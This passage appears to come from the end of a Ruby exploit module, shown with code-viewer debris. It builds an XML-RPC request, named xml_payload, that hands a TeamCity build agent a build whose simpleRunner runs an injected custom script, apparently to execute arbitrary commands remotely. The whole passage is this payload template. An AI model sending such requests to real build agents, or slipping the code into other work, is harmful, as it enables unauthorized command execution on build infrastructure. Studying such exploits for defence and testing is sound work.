|
<myVcsRootCurrentRevisions class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myVcsRootCurrentRevisions>
|
||||||
|
<myArtifactDependencies/>
|
||||||
|
<myBuildTypeOptions/>
|
||||||
|
<myPersonalVcsChanges/>
|
||||||
|
<myUserBuildParameters/>
|
||||||
|
<myVcsChanges/>
|
||||||
|
<myVcsRootEntries/>
|
||||||
|
<myBuildRunners>
|
||||||
|
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
<myRunType>simpleRunner</myRunType>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myServerParameters>
|
||||||
|
<myRunnerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
<entry>
|
||||||
|
<string>script.content</string>
|
||||||
|
<string>#{script_content}</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>use.custom.script</string>
|
||||||
|
<string>true</string>
|
||||||
|
</entry>
|
||||||
|
</myRunnerParameters>
|
||||||
|
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
</myBuildRunners>
|
||||||
|
</AgentBuild>
|
||||||
|
]]>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
return xml_payload.strip!
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue